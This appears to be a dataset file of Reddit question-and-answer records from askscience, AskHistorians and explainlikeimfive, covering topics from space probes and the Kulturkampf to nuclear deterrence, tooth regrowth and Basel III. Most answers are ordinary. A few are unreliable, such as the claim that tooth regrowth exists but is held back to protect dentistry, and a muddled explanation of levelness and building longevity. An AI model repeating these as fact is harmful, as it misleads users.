{"q_id": "2apsbk", "title": "Is it still possible for us to contact the Pioneer 6-9 space probes similarly to how ISEE-3 has been recently?", "selftext": "If so, what would it take to test this out?\n\nIf not, why not?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2apsbk/is_it_still_possible_for_us_to_contact_the/", "answers": {"a_id": ["cixwl90"], "score": [6], "text": ["Pioneer 9 is definitely dead. It failed completely back in 1983. The other three each had at least one working science instrument as of the mid 90s, and possibly more.\n\nIt's likely that Pioneers 6, 7, and 8 can still be contacted. NASA just decided that the probes are so antiquated that any data they return are not worth devoting time on the Deep Space Network. \n\nIn principle there is no reason why these three probes cannot be woken up like ISEE-3 was. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "10sny9", "title": "Why didn't some of the Italian states adopt Protestantism?", "selftext": "States like Venice had great animosity towards the Pope, yet I never hear about Protestant Venetians. Was it simply location?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/10sny9/why_didnt_some_of_the_italian_states_adopt/", "answers": {"a_id": ["c6gemfv"], "score": [3], "text": [" > yet I never hear about Protestant Venetians. \n\nThere were Protestant minorities throughout many of the majority Catholic areas throughout history. Just because a region was considered officially 'Catholic' or 'Protestant' didn't mean minorities existed in those regions. They may have been highly persecuted, but they existed.\n\nThat being said, I'll leave someone versed in the history of the Reformation to explain why particular regions, such as Italy, became majority Catholic."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "113add", "title": "Would someone care to explain the Kulturkampf in the German Empire (~1871-~1879)?", "selftext": "Reading about it, the Kulturkampf seems to have been a way for Protestants to equate German national identity with Protestantism in an attempt to more fully unify the country. Trouble is, it seems to have backfired (Catholic Center Party becomes more powerful, religious rift exacerbated and not healed, etc.). \n\nCan someone help me reconcile why the Protestants saw these measures as necessary/why they continued when so much seemed to turn out poorly for them?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/113add/would_someone_care_to_explain_the_kulturkampf_in/", "answers": {"a_id": ["c6iyzmi", "c6izdu2"], "score": [7, 4], "text": [" >   a way for Protestants to equate German national identity with Protestantism in an attempt to more fully unify the country.\n\nNope, that's a fundamental misconception. The Kulturkampf was about the separation of church and state, not about protestant powers. Bismarck wanted to consolidate the power of the Prussian government and administration. Most of them were protestants, as the core of Prussia was protestant, but it was not a fight between protestants and catholics, it was the Prussian government vs. the Catholic church. \n\nIn some parts of Prussia, like Cologne or Poland, the catholic church had more influence and power (eg. through welfare services) than the government. The Lutheran church never had that influence in the core of Prussia, since it was not as rich as the catholic one and esp. Friedrich der Gro\u00dfe had a more enlightened laissez faire relationship to religion.  \n\n\nThe term was coined by Rudolf Virchow and is usually attributed to the fight between Prussia and the Catholic Church, but other German states (Bavaria, Baden) had their Kulturkampf too. \n\nThe laws about supervision of schools and the introduction of civil marriage in Germany were against *every* church in Germany, not just the catholic. \n\nYou should also have a look at the *Walk to Canossa*, Bismarck stated in the Reichstag, that he will not walk to Canossa. That might explain some of cultural background.", "Kulturkampf was also a strategy for Bismarck to get the support of the liberal parties who were normally opposed to a lot of conservative political projects of Bismarck. \n\n(the conservative faction was divided into a protestant (diverse parties) and into an catholic part (Zentrumspartei). And the protestantic conservative parties alone were not strong enough to back up Bismarck who needed a majority in the parliament for his bills).  \n\nBut in 1879 Bismarck wanted to introduce prohibitive taxes for German products. Naturally the Liberal Parties were against it. So Bismarck ended the Kulturkampf to get the support of the Zentrumspartei instead. \n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "5uaeur", "title": "what's the purpose of nuclear retaliation? (more details inside)", "selftext": "Say that nation A decides to nuke nation B. Now the concept of nuclear retaliation is that A can't disable all nukes of B with a single attack or before B can fire their nukes too, so that if A attacks B, B will attack A and therefore both A and B will be destroyed.\n\nNow, my question is: if A attacks B, B is destroyed anyway. Then why should B retaliate, if such retaliation would probably doom billions of people? (not only A population, due to fallout and things like that)\n\nEDIT: okay i understand the concept of Mutual Assured Destruction and that the threat is the important thing, not the actual occurence. However, if for whatever reason A actually launched a full attack on B, would B actually retaliate or just refuse to do so to spare billions of people?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5uaeur/eli5_whats_the_purpose_of_nuclear_retaliation/", "answers": {"a_id": ["ddsj8oj", "ddsjaez", "ddsjjdc", "ddss5l7", "ddt3n3o", "ddtdpo2"], "score": [4, 2, 11, 2, 2, 2], "text": ["The concept you're referring to is Mutually Assured Destruction. The point of country b retaliating, even though they'll be wiped out anyway, is to deter country a from firing in the first place. If a knows that b had systems in place that will fire, even if everyone in b is dead, then a doesn't stand to gain anything with a first strike attack. ", "MAD:  Mutually assured destruction.  If you know that attacking B means you're going to get destroyed as well then you probably aren't going to attack.  \n\nIt's a threat used to *prevent* the first attack.", " >  Then why should B retaliate\n\nThey don't have to, simply because they *could*. The fact that they *could* retaliate means that no one is going to start firing nukes at them in the first place, and so the actual retaliation will never be needed.\n\nThe entire point about nuclear weapons is basically that once you have them, you never need to use them. The threat that you *could* use them is enough.", "After a nuclear attack you are pretty defenseless. A first world military would be quite capable of invading and occupying you. However if they're reeling from a nuclear attack as well, they will not be in position to.", "Nation B will return fire, not knowing for certain the extent of destruction in an effort to preserve anything that does survive A's attack. ", "It's possible that B will take the high ground take their impending doom stoically.  It's also entirely possible that B will say \"fuck em\" and punch the big red button.  Honestly, my money is on the latter."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "29iyrb", "title": "In the 1930's there was a repatriation of possibly 2,000,000 Mexicans from the United States. Do we how many of those were US citizens?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/29iyrb/in_the_1930s_there_was_a_repatriation_of_possibly/", "answers": {"a_id": ["cilgpc2"], "score": [5], "text": ["The short answer is that accurate estimates of the numbers are hard to come by for just about any issue involving the US-Mexico border. This is in part due to the intense politicization it has received in the media and in the particular case of the 1930s repatriation, partially because it was not an official policy of the United States federal government.  As the wiki mentions, estimates vary widely based on who you talk to. [California](_URL_0_) estimated 2 million repatriations, which is on the very high side of estimates. *The Tarnished Golden Door: Civil Rights Issues in Immigration*, a report published by the U.S. Commission on Civil Rights, estimated a quarter of that number, but with a similar estimate of the citizenship rate. \n\nIn fact, 50-60% is the typical range for all sources, but this hides a rather subtle issue: Almost everyone is deriving their numbers from the same few sources. These are *Decade of Betrayal* and *Unwanted Mexican Americans in the Great Depression*. Neither of these sources provide adequate sources for their numbers and in turn rely on media reports and local governments for their numbers. We simply don't know how many people were repatriated in the various programs. The general range we do know is that 1,000,000 people is likely a far overestimate and 300,000 people is likely an underestimate. Hoffman argues for 400,000-500,000. Mercedes Carreras de Velasco^1 argues for slightly more than 300,000, but restricts her work to a smaller time period. Alan\u00eds Enciso found numbers similar to Hoffman, but accounts for pre-campaign repatriations by discounting earlier years, resulting in a total estimate of 425,000. If we go by immigration policies in previous decades, we're limited to a mere 100,000 repatriations, well below even what the Mexican records indicate.\n\nThere isn't really a definitive way to answer your question. Half a million people may be slightly on the high side, but we know that it was likely more than a quarter of a million. We similarly don't know how many citizens were included in these numbers. On the low side, there might have been as few as 125,000 or on the high side, perhaps as many as 300,000. \n\n\n^1 *Los Mexicanos que devolvi\u00f3 la crisis 1929-1932*, Tlatelolco, 1974, pg. 65"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.leginfo.ca.gov/pub/05-06/bill/sen/sb_0601-0650/sb_645_bill_20050909_enrolled.html"]]}
{"q_id": "8y3rb6", "title": "Is there any evidence that crypto-Muslim Moriscos reached Spain's New World colonies?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/8y3rb6/is_there_any_evidence_that_cryptomuslim_moriscos/", "answers": {"a_id": ["e29g7w6"], "score": [2], "text": ["I wrote about this in [this earlier reply](_URL_0_) to another answer. In it I'm drawing mostly from Katherine Cook's work, afaik still the only monograph on the topic. She analysed a large number of judicial/inquisition documents that show that there were many cases of moriscos crossing over to Spanish America illicitly - similar to Jewish conversos. In contrast, it seems that they held lower positions, and often tried to \"blend in\" racially, as the presence of moriscos in its overseas possessions was a major issue of legimacy for the Spanish Crown. Then again, there also cases of moriscos wanting to be recognized as Muslims in order to escape persecution through the Inquisition."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/8iyfh1/how_did_the_muslim_world_react_to_the_discovery/dywmv5z/"]]}
{"q_id": "5mf2rw", "title": "is it possible for a 5,8ft male to eat only 1200 calories per day, to lose weight, if he has no real muscles to begin with?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5mf2rw/eli5is_it_possible_for_a_58ft_male_to_eat_only/", "answers": {"a_id": ["dc31x9v", "dc330x1", "dc33er9"], "score": [2, 2, 3], "text": ["1200 is a very small amount but it could be done. Use an app like myfitnesspal to track calories and whatnot. Also exercise. A little jog or something to start. _URL_0_ has loads of workouts. ", "When I was losing weight I was aiming for 1200 calories per day using MyFitnessPal to track my calories.\n\nI was doing cardio 5 days a week and weights 3 days a week.\n\nIt was hard but it worked. I was losing between 1 and 2 pound per week and lost about 40 pound overall.\n\nMyFitnessPal definitely helped alot to keep track. ", "While not exact, and assuming only minimal physical exercise, a person needs to eat roughly 11x their body weight in pounds to maintain their weight. For instance, the average male is 180lb (~82kg), which means they need 1980 calories to maintain their weight, which is where the 2000 diet comes from on nutrional labels and their calculated percentages of you daily value of fats, protein, etc.  \n  \nFor a 5ft 8in male, the average weight is 120lb-165lb (~54.4kg to ~75kg).  \n  \nSince you are at 78kg, that means you take in roughly 1900 daily calories. To maintain 60kg, that's ~1450 daily calories. 1lb of fat is 3500 calories, so if you only eat 1200 daily calories, it should take you roughly 3 months to achieve your weight goal. However, getting fit is better than getting skinny, you don't need to be benching 150kg or anything, but getting to 65-70 kg and being fit is better.  \n  \nTo reduce daily calories, simple stuff is just cutting out cheese, most any drink besides water, etc. is an easy starting place."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["Bodybuilding.com"], [], []]}
{"q_id": "1xd0wn", "title": "how will i know if my net is being \"throttled\"?", "selftext": "My ISP is Charter. I watch a lot of Netflix and Hulu and download quite a bit. I have noticed over the past month that all of my streaming services seem to be loading very slow and defaulting to poorer quality streams. Is my ISP \"throttling\" Netflix? How will I know?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1xd0wn/eli5_how_will_i_know_if_my_net_is_being_throttled/", "answers": {"a_id": ["cfa89s0", "cfae7vt"], "score": [16, 4], "text": ["Quite possibly.\n\n_URL_0_ is pretty useful for network diagnostics and can be used to check throttling/traffic de-prioritisation", "Hard to tell for sure, but there are some ways:\n\n* Test other services. Can you download game updates or something else much faster than you can video from Netflix?\n* Test with other ISPs. Can your friend stream much faster?\n* If you can, try going through a proxy (assuming the proxy can handle it). \n* Test at different times. If traffic is predictably slow at peak hours, then it may be that your ISP doesn't have enough bandwidth.\n\nHowever, modern networking is complicated. Something like Netflix will have lots of servers, in many countries. You may turn out to be accessing a server that's overloaded for some reason, for instance. Big content delivery services are very likely to be geographically distributed, so things may be different in different countries.\n\nIn general I think it's safe to say that most ISP throttling should be constant and predictable. If it's not constant then probably something else is going on.\n\n\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.measurementlab.net/tests"], []]}
{"q_id": "ebxbmp", "title": "Why do Sea Shanties and Irish Folk Songs have so much in common?", "selftext": "It's sometimes nearly impossible to distinguish whether a piece of music is an [Irish folk song](_URL_0_) or a [pirate-era sea shanty](_URL_1_). Why do these two styles of music have so much in common? Why such a strong Irish influence in sea shanties?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/ebxbmp/why_do_sea_shanties_and_irish_folk_songs_have_so/", "answers": {"a_id": ["fb94kaa"], "score": [54], "text": ["I wonder if you could clarify for me a bit of what your thinking is here with this question? I do think you are on to something, but the specific examples you gave make me think we do not have quite the same concepts in mind. For example. Rocky Road to Dublin is from the tail end of the 19th century, and Bully in the Alley wasn't collected until 1915, suggesting it's a later creation as well. So neither of these are really \"pirate era\" to begin with. \n\nThen also, Bully in the Alley doesn't sound Irish to me at all and this is really where I want to clarify. Can you describe a bit of exactly what you think sounds Irish there, or give other examples of songs you think illustrate the question? I have a suspicion this is a music theory question in the end, but I'd like to know more before potentially going any further."]}, "title_urls": [], "selftext_urls": ["https://youtu.be/0QdbeM2JWYE", "https://youtu.be/uS5xR7jBxDw?t=21"], "answers_urls": [[]]}
{"q_id": "922eb1", "title": "I am a Soviet soldier in World War II. What is the quality of my training and equipment in 1941? In 1943? In 1945?", "selftext": "Now I know that the \"asiatic russian hordes\" trope is a lie based on German propaganda but I have nothing to replace it with.  \n\n1. I assume that the successful conflicts with Japan/Poland (1939) and the disastrous Winter War (1940) had an impact on infantry doctrine when the war started in 1941.\n\n2. I assume that the quality of the troops was high antebellum and that the enormous defeats of the Soviet military early on had more to do with grand strategy failures.\n\n3. I assume that the quality of the soldiers fell to its lowest point in 1942 when the Soviet Union was at its lowest point.\n\n4. I assume that there is a quality difference between the normal infantry divisions and the elite guard divisions.  That the Red Army is largely conscripted army with a volunteer professional core.\n\nAre my assumptions correct? And how did the quality of the troops change over the course of the war?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/922eb1/i_am_a_soviet_soldier_in_world_war_ii_what_is_the/", "answers": {"a_id": ["e32y82v"], "score": [682], "text": ["Overall, the soviets were actually very well equipped in 1941, with many of the war defining weapons already adopted and made in large numbers. Tanks such as the KV series, T-34, and thousands of inter-war period tankettes and scout tanks and armoured vehicles, a rather large number of semi-automatic rifles at a time when nearly all continental powers were entirely bolt-action based, a very large degree of motorization thanks in large part to licensed production with Ford through GAZ, effective and standardized artillery modules available in large numbers, and a large fairly modern airforce (for the time). Most of this equipment was well tested in the wars preceding Germanies invasion such as in Finland, the Spanish Civil War, and Khalkin Gol, and was already in the process of being modernized and replaced (such as the PPD-40 being decommisioned in '39, in favor of the simplified PPSH.) The Soviet economy was vertically planned from right after the end of the Russian civil war two decades before to beef up military capabilities and avoid the humiliating defeats Russia suffered in WW1 due to military backwardness. Not merely on paper, but materially the Soviet armed forces were at the time probably the most formidable in the world, and across the board plans were already in motion for further modernization in hand with the rapid military industrialization.\n\nWhat they crucially lacked however was not even leadership, but the ability to exercise it. Despite losing huge numbers of experienced officers in the Purge, there were still a good number of officers with lifetimes of leadership experience or natural talent such as Zhukov, Rossokovsky, and others. However, because of the purge, and the overriding climate of fear which was instilled by Stalin during this period, most of these talented officers were unable to exert much control over their actual commands, and caution and textbook leadership decisions prevailed. Orders were given rigidly from above regardless of understanding on the ground, and although sometimes this was actually beneficial in the cases of inexperienced new officers, in most cases the catastrophic losses in the first months of Barbarossa were direct results of these orders and allowed the more flexible German command structure to simply run circles around the static Russian positions.\n\nThe experience and training of the soldiers on the ground in '41, was probably on par with most nations at the time if even better because of the combat experience, albeit disastrous, which many soldiers would have recently had during the winter war. However, overall Soviet Military doctrine, even the nascent Deep Operations theory placed great emphasis on large scale movements, and offensive operations, possibly to the detriment of small, low level decision making and defensive experience, but there remained a legacy going back to Brusilov in WW1 in the Soviet military of specialized shock training for certain detachments, and in this way small unit tactics were still being honed. Soviet infantry were probably in general just as the rest of the military; well equipped, and experienced, but not well led. The thinking and theorizing was definitely there, but like everywhere else there were organizational catastrophes going on in the Army which prevented their realization in 41, which resulted in a great proportion of the most experienced soldiers being wiped out early on.\n\nBy 1943, the slow process of reorganizing the Military was beginning to bear fruit, and a leaner, far more experienced and even equipped infantrymen would be facing Germans. In later 41 and 42 the Soviets had thrown much of their complex military organizations, such as large independent tank divisions, out the window in favor of more manageable, yet large military structures, and the leadership and tactics at a lower level no doubt reflected these less complex structures as well. In 43 however, they began to return to the more intricate structures with smaller commands, and you would likely have begun to see smaller scale leadership improve as well. Deep Operations became the dogma again, and with it came a greater degree of autonomous delegation on the front-lines. In terms of equipment, the huge losses suffered in 41 had been overcome and things were turning around. Soviet production of small arms drastically outpaced that of the Germans in many key areas, notably automatic adoption. In 41, the emphasis for infantry equipment was a higher proportion of semi-automatic rifles such as the Tokarev SVT. By 1943 they decided to bypass this, and bolt actions were now paired with enormous amounts of submachine guns reaching the frontlines. Whereas the German war industries sought in every sphere to be masters, Soviet production had always emphasized doing one thing well, and doing a lot of it, though some things would remain woefully outdated.\n\nBy 1945, the differences in the these military philosophies had become even more stark. Whereas the average German soldier would still be using a bolt action rifle, and most likely not using motorized transport even this late, with a small number of far more elite troops using very advanced weapons and mechanized transport, the Soviets had continued to produce their tried and true equipment such as the PPSH, except in enormous quantities. It got to the point where entire infantry companies (~100-150 soldiers) would be entirely equipped with sub-machine guns, something uncommon even to the lavishly supplied US soldiers of the time, and producing devastating levels of firepower. Whereas in 41 and 42 very hastily trained Soviet soldiers flooded the ranks to stem the tide of the German onslaught, by 1945 the most hardened Soviet veterans remained, and they faced on average woefully inexperienced, under or overaged and infirm German adversaries. Another final change from 43 to 45 however would be that Lend-lease shipments began to affect things for the average infantry in earnest. Most notably Soviet soldiers motorization skyrocketed, and for once Soviet logistics were almost entirely freed from being tied down by the Rail-head."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "eh6mac", "title": "what is the basel iii framework?", "selftext": "I\u2019ve been reading about the 2008 crisis and it\u2019s aftermath and this popped up. I know it\u2019s a really comprehensive and vast framework but any explanation would be super helpful", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/eh6mac/elif_what_is_the_basel_iii_framework/", "answers": {"a_id": ["fcfx4c7"], "score": [4], "text": ["It\u2019s an international agreement to help govern banks and attempts to ingrain more stability in the financial system.\n\nSpecifically it aims to strengthen rules around how much money banks hold at any given time and how easily they can get hold of money (liquidity) to pay their obligations.\n\nThe ELI5 version is your parents coming round and making you save 10% of your allowance (and then regularly coming back to check you\u2019ve done so) and not allowing you to lend it all to your unreliable mate Jim, so you have some spare in case he doesn\u2019t pay it back in time for your next phone bill."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3whsrh", "title": "If parity was somehow not conserved in electromagnetism the way it isn't in the weak interaction, how would our world be different?", "selftext": "Just title.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3whsrh/if_parity_was_somehow_not_conserved_in/", "answers": {"a_id": ["cxwd71q", "cxwmwvi"], "score": [4, 4], "text": ["At very high energy (above the EW scale) the SM includes in its gauge interaction a U(1) interaction called weak hypercharge. This is an example of a theory structurally identical to EM but P-violating (the left and right components have different charges).", "The major, huge, totally devastating difference would be that electrically charged particles would necessarily be massless, or else the photon would have to be *massive*. If the left-handed and right-handed electron had different electric charges, then they could not 'combine' to form a single massive Dirac electron. (Only massless particles have definite chirality/handedness, but a particle must have a definite value of electric charge. More technically, a chiral U(1) interaction would forbid mass terms in the Lagrangian.) Massless electrons don't form bound states (atoms), so we'd be pretty much screwed.\n\nThe same problem happens for the weak interaction, by the way, but the resolution is different: instead of forcing particles to be massless, the weak interaction gets 'broken' by the Higgs mechanism which allows massive particles at the cost of massive gauge bosons (W and Z). The same could happen to the photon, in which case E & M would be a short-range interaction instead of long-range. In this case there are almost certainly major problems with the behavior of atoms, but the bigger problem is that stars would never form because collapsing gas clouds could never cool below the temperature corresponding to the photon mass (which would have to be almost as heavy as the electron!). (Gravitationally collapsing gas clouds need a light or massless particle to radiate off their energy, or else they stop collapsing.)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "o951g", "title": "Are we close to being able to 'naturally' regrow or repair teeth?", "selftext": "I've been wondering this for quite some time so here goes..\n\nHow is it we have been able to create all kinds of new organs, tissues and cells yet we haven't been able to reproduce or repair our pearly whites? I'm kind of curious if something has come up but is being downplayed or hidden? ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/o951g/are_we_close_to_being_able_to_naturally_regrow_or/", "answers": {"a_id": ["c3fec95", "c3feeo9", "c3fek84", "c3ff2rc", "c3ffy6e", "c3fg1ya"], "score": [15, 189, 31, 16, 4, 2], "text": ["Not an answer but I had to comment on this - my 80+ year old grandpa, toothless for 15+ years now, has a tooth growing. Something must trigger it.", "We have the ability to \"grow\" new teeth today, but I wouldn't expect it to be widely available for quite sometime as it would bring an end to modern dentistry. (_URL_3_)\n\nOther organs have been \"grown\" for some time now, this will most likely become the way to replace damaged organs in the future, rather than the wait and pray approach of using organs harvested from the deceased.  \"Grown\" organs are created from tissues or cells from the recipients body and reduces the chance of rejection dramatically.\n(_URL_2_) (_URL_1_)\n(_URL_0_)", "There is a bit of marketing speil, here, but [calcium sodium phosphosilicate](_URL_0_) has been shown to help repair teeth and aid the [remineralization of teeth](_URL_1_) before the decay sets in proper. \n\nIt's used in some brands of toothpaste, and is marketed by the name NovaMin.\n\n\"NovaMin particles bind to the tooth surface and, when the particle comes in contact with saliva and water, react with the water to release calcium and phosphate ions. These ions are protected by glass particles so that they can be delivered to specific locations rather than as a liquid solution. Sodium ions in the particles exchange with hydrogen cations, which allows the calcium and phosphate ions to be released. A calcium phosphate layer then forms and crystallizes as hydroxyapatite, a form of hard and strong mineral in teeth.\"\n\nWikipedia: [NovaMin](_URL_0_)", "It's worth noting that the body can repair teeth on its own and that diet plays a large role in this ability. \n\n_URL_0_", "There have been a lot of early studies and promising laboratory results with this topic.  These rarely seem to progress beyond the lab or animal model.  One major issue beyond it being proven in humans is that it will likely cost far more to regrow a tooth than an implant would cost.  Trauma would likely be similar, and implants would likely have a similar/better prognosis.\n\nGrowth factors are available to regrow bone, but cost is approx 10X other bone grafting materials.  I don't see regrowing teeth as being a common procedure during my practice lifetime.  ", "Actually yes, I read somewhere late in 2011 that there was testing being done using a lattice of stem cells to create a structure for the tooth.  The body would regrow the tooth over time.  It is still very new, but could lead to regrowing teeth all together, or creating lattice to fill cavities so the teeth can self heal. \n\nsource: _URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.sciencedaily.com/releases/2010/06/100624092522.htm", "http://www.lifesitenews.com/news/breakthrough-new-heart-grown-using-adult-stem-cells/", "http://singularityhub.com/2010/11/02/wake-forest-creates-first-liver-in-lab-using-human-cells/", "http://www.popsci.com/science/article/2010-05/new-technique-uses-bodys-stem-cells-regenerate-teeth"], ["http://en.wikipedia.org/wiki/NovaMin", "http://en.wikipedia.org/wiki/Remineralisation_of_teeth"], ["http://wholehealthsource.blogspot.com/2009/03/reversing-tooth-decay.html"], [], ["http://www.popsci.com/science/article/2010-05/new-technique-uses-bodys-stem-cells-regenerate-teeth"]]}
{"q_id": "frz9w4", "title": "how is anything really considered \"level\"", "selftext": "So, weird part is I work in a field where levelling is important, and I'm aware of how to make anything level, but I've always wondered how that works.   Since the earth isn't flat, everything should have a slight curve.   I mean, I suppose on such small scale, it would be effectively a straight line, yet somehow this concept still seems weird to me.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/frz9w4/eli5_how_is_anything_really_considered_level/", "answers": {"a_id": ["flyiomi", "flyizjj", "flyjq0d", "flymb5y"], "score": [17, 16, 2, 3], "text": ["Level implies a perpendicularity between the object and the force of gravity. Or otherwise, the level line is 90 degrees (perpendicular) from the force of gravity.", "if you truely had a flat board and a truely spherical ground, then level would mean the board is at tangent at the position touching the ground.    or conversely, the line that's orthogonal to the board surface would intersect with the center of the sphere.", "So basically, the way gravity pulls directly to the densest part of the planet(the center) if something is not in line with that center of gravity they will have a tendency to lean toward the center of gravity and will eventually fall over. But if done correctly with things perfectly level with the gravity they will stand upright for a longer period of time. Hence why a mansion with perfect architecture will stay standing for generations but a small shack built improperly could collapse within years. And the same is true vice versa even if a large building is built with great materials a building built architecturally bad will fall sooner and a perfectly built small shack will last virtually indefinitely.", "The Earth is curved in general, but it doesn't have to be locally. You can shave some of it off (or add a bit more) to create a flat area the same way you could to a ball of clay. This wouldn't be practical for a truly large area, but the curve of the Earth is gentle enough that it's pretty easy to do for the footprint of any building. In that context, you probably care more about leveling out various other local oddities (hills, ditches, etc) than fighting the curve of the Earth anyway."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "48ca4h", "title": "Is Donald Trump's ancestral surname really Drumpf?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/48ca4h/is_donald_trumps_ancestral_surname_really_drumpf/", "answers": {"a_id": ["d0izzsz"], "score": [129], "text": ["In 1885, Donald Trump's 16-year old grandfather emigrated from Kallstadt in what is now southwest Germany to the United States. The immigration officer listed his name as \"Friedr Trumpf\" (see [line 33](_URL_6_)). No later than 1910, Friedrich Drumpf was calling himself Fred Trump, which is how he appears on the US census of that year (image online at _URL_7_, subscription required). He died at the age of 49 in Queens and is now memorialized by a [tombstone](_URL_4_) that reads \"Fred Trump.\"\n\nI confirmed what details I could from the [Wikipedia](_URL_0_) entry as well as its source [article](_URL_3_), verifying them against the records available through _URL_7_ (subscription required). Note that although the immigration record linked above (Wikimedia Commons; also on _URL_10_) clearly attests to the name Friedrich, I could *not* confirm any occurrence of the spelling of his last name as Drumpf. Ancestry and _URL_9_ both list his name as Friedrich Drumpf, but neither gives a witness to this particular spelling. While it is certainly plausible that an immigration officer might have heard Drumpf and written Trumpf, [Trumpf](_URL_1_) is also a plausible spelling for a German name derived from Latin *triumpus* (triumph).\n\nIn fact, German [Wikipedia](_URL_2_) includes no notable Drumpfs other than Friedrich himself. And it actually claims that the spelling \"Drumpf\" is falsified. The article instead calls him by his Americanized name, Frederick Trump, but it points to [_URL_10_](_URL_8_), which lists his baptismal name as Friedrich Trump. This record points back an additional generation to Donald Trump's great-grandfather Johann Ii Trump. I have no way of confirming these spellings or finding their source, which is a compilation of baptismal records.\n\nAccording to this [encomium](_URL_5_), the Drumpf family arrived in Kallstadt in 1608 and changed their name to Trump sometime before 1700. Unfortunately, this claim is *not* supported by verifiable research and is in fact attached to the unlikely name (for a 17th-century German) of John Philip Trump. So while the deep roots of the Drumpf family tree may or may not prove false, it looks like archival research might be necessary for their final proof."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Frederick_Trump", "https://de.wikipedia.org/wiki/Trumpf", "https://de.wikipedia.org/wiki/Frederick_Trump", "http://www.nydailynews.com/new-york/trump-astor-weathy-nyc-families-wills-revealed-article-1.2345156", "http://www.findagrave.com/cgi-bin/fg.cgi?page=gr&amp;amp;GRid=43004916&amp;amp;ref=acom", "https://books.google.ca/books?id=PmrwtRTQ3fMC&amp;pg=PA26", "https://upload.wikimedia.org/wikipedia/commons/9/93/U.S._Immigration_records_mentioning_Friedr_Trumpf.jpg", "ancestrylibrary.com", "https://familysearch.org/ark:/61903/1:1:NCR1-KF8", "findagrave.com", "familysearch.org"]]}
{"q_id": "1kemw4", "title": "If quantum mechanics says that the future is uncertain and probabilistic, does that mean the past is also uncertain and probabilistic?", "selftext": "If you launch a photon at a double slit, it's impossible to figure out exactly where the photon will go. The future is uncertain, and one is chosen probabilistically.\n\nDoes that mean that the past is also uncertain? Meaning, if I see a photon hits some random spot on the wall, there's not even a single way that it got there?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1kemw4/if_quantum_mechanics_says_that_the_future_is/", "answers": {"a_id": ["cbo7tgb", "cbodaju"], "score": [13, 3], "text": ["Suppose you take a flat surface, and sprinkle some special kinds of large molecules that partition the surface into little boxes. In one of these boxes you put a tiny molecule in the box, and you watch it dance. At any given instant, where is it going to be found?\n\nIt turns out, that this molecule will appear to wiggle around randomly, and will instantaneously jump from one place to another. But, if you look very carefully where it likes to spend most of its time, it is spent near the center of the box. You won't be able to figure out this distribution without doing this experiment for a very long time.\n\nAnother way to do this experiment is to put one molecule into every box, and take a snapshot of where the molecule is in every box. Again, on average, you will find the molecule is closer to the center than near the edges. But....you will need to do quite a bit of counting to be certain this is true.\n\nOnce you have enough data to be confident of where this molecule is likely to be, you can construct a wavefunction that represents this distribution. And, using the rules of quantum mechanics you can construct and apply special operators on this wavefunction to ask it questions, like what this distribution would look like if you nudged it to the left, or enlarged the box, and so on. It's fun to ask for example, what happens when you put *two* molecules in the box.\n\n----\n\n >  Meaning, if I see a photon hits some random spot on the wall, there's not even a single way that it got there?\n\nThere is something in quantum mechanics called a \"path integral\" that describes the motion of quantum mechanical objects as it goes from point A to point B. Roughly speaking the path integral is a weighted sum over all possible paths from A to B. There's the direct line from A to B, and then there's all the wiggly paths you can imagine. All of these paths add up constructively and destructively to give the quantum mechanical description of how a particle propagates from A to B. The weights are such that the path that matches the classical trajectory is the strongest, followed by some tiny corrections that are particularly accentuated in a quantum system.\n\n----\n\n >  If you launch a photon at a double slit, it's impossible to figure out exactly where the photon will go. The future is uncertain, and one is chosen probabilistically.\n\nChanging gears, well, you can say that even the current state is probabilistic -- at the very beginning, the system is in some kind of state that is represented by some kind of wavefunction. \n\nHowever, this wavefunction evolves in time deterministically. When you advance a wavefunction forwards or backwards in time, you make use of a special time evolution operator which is not random.\n", "According to some interpretations of QM, all possible futures that could happen, do - but also all pasts that might have happened, did.\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.askamathematician.com/2011/11/q-according-to-the-many-worlds-interpretation-every-event-creates-new-universes-where-does-the-energy-and-matter-for-the-new-universes-come-from/"]]}
